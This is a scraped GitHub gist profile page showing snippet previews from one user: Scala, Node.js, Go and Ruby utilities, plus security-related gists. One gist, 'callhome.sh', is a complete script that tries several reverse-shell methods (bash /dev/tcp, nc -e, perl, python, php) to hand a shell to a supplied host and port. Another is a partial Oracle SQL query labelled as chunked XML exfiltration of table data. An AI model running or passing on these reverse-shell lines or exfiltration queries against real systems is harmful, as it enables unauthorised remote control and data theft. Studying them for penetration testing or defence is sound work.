Skip to content

Instantly share code, notes, and snippets.

View frohoff's full-sized avatar

Chris Frohoff frohoff

View GitHub Profile
object NullSafeConversions {
implicit def ns[A](a:A) = new NullSafe(a)
implicit def ro[A](o:Option[A]) = new RichOption(o)
def ?[A](a:A) = if (a == null) Some(a) else None
case class NullSafe[A](a:A) extends AnyVal {
def ?[B >: Null](f: A => B):B = if (a != null) f(a) else null
}
case class RichOption[A](o:Option[A]) extends AnyVal {
@frohoff
frohoff / longchaintest.js
Last active August 29, 2015 14:01
long stream chain test
var crypto = require('crypto')
var hashType = process.argv[2] || 'sha1'
var numHashes = parseInt(process.argv[3] || 1)
// init chain with stdout
var piped = process.stdout
for (var i = 0; i < numHashes; i++) {
// prepend chain with new hash
package main
import (
"fmt"
"os"
"bufio"
"regexp"
"io"
)
proxy do |data|
{ :remote =>
data =~ /(GET|POST|HEAD|PUT|DELETE|OPTIONS|TRACE|CONNECT|PATCH) / ?
"localhost:81" :
"localhost:4444"
}
end
@frohoff
frohoff / callhome.sh
Last active October 26, 2020 17:44
Shell script that attempts multiple methods for creating a reverse shell
#!/bin/bash
host=$1
port=$2
bash -i >& /dev/tcp/$host/$port 0>&1
nc -e /bin/sh $host $port
perl -e "use Socket;\$i=\"$host\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$host\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
php -r "\$sock=fsockopen(\"$host\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");"
@frohoff
frohoff / print_rails_cookie.sh
Last active December 15, 2015 10:39
print contents of rails cookie
@frohoff
frohoff / oracle_chunked_xml_exfil.sql
Created November 5, 2012 16:19
oracle chunked-xml exfil
select c from (
select cast(dbms_lob.substr(t.c, 4000, (n.i) * 4000 + 1) as varchar(4000)) c, t.r i, n.i j
from ((
select rownum r, dbms_lob.getlength(c) l, c
from (
select dbms_xmlgen.getxml('select * from all_tables') c
from dual)
) t inner join (
select rownum - 1 as i
from dual